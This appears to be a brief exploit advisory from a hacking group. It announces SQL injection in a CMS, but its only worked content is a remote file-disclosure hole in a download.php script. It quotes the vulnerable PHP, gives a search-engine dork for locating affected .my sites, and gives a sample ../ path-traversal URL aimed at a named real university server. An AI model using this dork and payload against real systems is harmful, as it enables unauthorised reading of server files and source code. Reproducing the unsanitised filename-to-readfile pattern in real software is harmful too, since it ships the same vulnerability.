SQL Injection Vulnerability & multiple SQL Injection Vulnerability Malingsial CMS with Paranoid Dork
[+] Bug : SQL injection[+] Vendor : Random Paranoid[+] Author : Xshadow[+] Contact : admin[a]cukdus[dot]org[+] Visit : http://xshadow-power[dot]com[+] Greetz : inc0mp13te, IndoUnderground, Jack-, selalu_ngantuk, cyber_tomat, black_sonic, k0il, all member x-code[+] Main Support: Indonesia[+] Support Person: yadoy666 (http://yadoy666.serverisdown.org/)[+] Sponsors: …

===========================================Bug : Remote File Discolousure VulnerabilityVendor : unknownAuthor : XshadowContact : admin[a]cukdus[dot]orgVisit: : http://xshadow-power[dot]com===========================================[o]Vulnerable filedownload.php$filename=$_GET["filename"];$fullpath=”dokumen/”.$filename;session_cache_limiter(“public, post-check=50″);header(“Cache-Control: private”);header(“Content-Type: application/zip”);header(“Content-Length: “.filesize($fullpath));header(“Content-Disposition: attachment; filename=$filename”);readfile($fullpath);
dork: download.php?filename= site:my
Sample: http://chemical.eng.um.edu.my/download.php?filename=../mainfile.php